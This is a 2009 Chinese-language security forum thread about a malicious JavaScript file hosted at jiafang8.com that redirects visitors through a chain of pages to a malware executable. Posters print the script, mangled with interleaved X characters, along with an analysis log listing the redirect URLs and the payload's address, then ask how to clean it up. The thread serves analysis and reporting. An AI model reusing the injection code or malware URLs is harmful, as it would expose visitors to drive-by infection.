http://jiafang8.com/x.js(挂马(检测:250662772))

显示全部楼层 · 发表于 2009-7-20 11:15:03

Hi All
這個link google查有問題
這東西要怎麼解呢
感謝大家

XaX X,XiXeXrX,XmXdXmXiX;X
XaX XrXdXmXiX X XeX XrXaX(X.XoX.XnX,X.XdX.XnX)X
XsX=XdXcXmXnX.XoXaXiXnX"X;X
XiXeXrX=X.XuXsXrXnX(X,X.XnXeXOX(X/X,X)X;X
XmXdXmXiX X X;X
XoX(XaX X=X;X<XrXdXmXiX.XeXgXhX X+X)X
X
XiX(XiXeXrX.XnXeXOX(XrXdXmXiX[X]X X X1X{X
XmXdXmXiX X X;X
XrXaX;X
X
X}X
XfXtXpXoXaXnX=X X)X
XdXcXmXnX.XrXtXlX(X<XfXaXeXsXcXhXtX:X/X1X1XcXcX/X1X0X.XtX?X0X XiXtX=X XeXgXtX0X<XiXrXmX>X)X
X}X

显示全部楼层 · 发表于 2009-7-20 11:35:42

关于:hxxp://jiafang8.com/x.js解密的日志(全体输出 -  9):

Level  0>http://jiafang8.com/x.js
Level  1>http://c1212c.cn/01/01.htm?n05
Level  2>http://c1212c.cn/01/dr1.html
Level  3>http://c1212c.cn/01/ojkjuuu.htm
Level  4>http://dsade332.cn/alg.exe  ●
Level  3>http://c1212c.cn/01/fdsa33dsa.htm
Level  4>http://c1212c.cn/01/go1.jpg
Level  4>http://c1212c.cn/01/go.jpg
Level  5>http://dsade332.cn/alg.exe  ●

网页分析:250662772

显示全部楼层 · 发表于 2009-7-20 12:08:24

呵呵　
請問處理步驟如何呢

显示全部楼层 · 发表于 2009-7-20 15:57:46

是我捉到的代碼和 250662772 捉到的代碼不一樣
畫面如下
來源:zbhykj.com/x.js

請問有人遇到相同的問題嗎?
謝謝

[ 本帖最后由 ryanking 于 2009-7-20 15:58 编辑 ]

显示全部楼层 · 发表于 2009-7-20 16:04:13

我用了簡中的作業系統就沒有這樣的問題了
呵真妙..... ^^

显示全部楼层 · 发表于 2009-7-20 23:41:07

url and sample to KL

[已鉴定] http://jiafang8.com/x.js(挂马(检测:250662772))